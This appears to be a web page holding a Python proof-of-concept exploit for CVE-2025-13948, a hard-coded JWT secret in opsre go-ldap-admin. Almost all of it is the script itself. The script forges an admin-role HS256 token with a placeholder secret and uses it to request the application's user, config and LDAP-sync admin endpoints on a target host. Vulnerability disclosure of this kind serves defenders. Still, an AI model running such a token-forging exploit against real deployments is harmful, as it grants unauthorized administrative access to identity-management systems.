CVE-2025-13948 | opsre go-ldap-admin 硬编码JWT密钥漏洞

#!/usr/bin/env python3 """ CVE-2025-13948 PoC - opsre go-ldap-admin Hard-coded JWT Secret Key This PoC demonstrates how to forge JWT tokens using the hard-coded secret key. """ import jwt import datetime import requests # Hard-coded secret key from docker-compose.yaml (example key) JWT_SECRET = "your-hardcoded-secret-key-here" # Target configuration TARGET_URL = "http://target:8080" USERNAME = "admin" def forge_jwt_token(username: str, secret: str) -> str: """ Generate a forged JWT token with the hard-coded secret. Args: username: Target username to impersonate secret: Hard-coded JWT secret key Returns: Forged JWT token string """ payload = { "sub": username, "iat": datetime.datetime.utcnow(), "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24), "username": username, "role": "admin" } token = jwt.encode(payload, secret, algorithm="HS256") return token def exploit(target_url: str, forged_token: str): """ Use the forged token to access protected endpoints. Args: target_url: Base URL of the vulnerable application forged_token: JWT token forged with hard-coded key """ headers = { "Authorization": f"Bearer {forged_token}" } # Try to access admin endpoints endpoints = [ "/api/v1/users", "/api/v1/admin/config", "/api/v1/ldap/sync" ] for endpoint in endpoints: try: response = requests.get(f"{target_url}{endpoint}", headers=headers) print(f"[+] {endpoint} - Status: {response.status_code}") if response.status_code == 200: print(f" [!] Successfully accessed {endpoint}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") def main(): print("[*] CVE-2025-13948 PoC - opsre go-ldap-admin JWT Secret Disclosure") print("[*] Exploiting hard-coded JWT secret key vulnerability\n") # Step 1: Obtain the hard-coded secret (e.g., from leaked config) print("[1] Obtaining hard-coded JWT secret from configuration...") print(f" Secret: {JWT_SECRET}") # Step 2: Forge JWT token for admin user print("\n[2] Forging JWT token for admin user...") forged_token = forge_jwt_token(USERNAME, JWT_SECRET) print(f" Generated Token: {forged_token[:50]}...") # Step 3: Use forged token to access protected resources print("\n[3] Using forged token to access protected endpoints...") exploit(TARGET_URL, forged_token) print("\n[*] Exploitation complete") if __name__ == "__main__": main()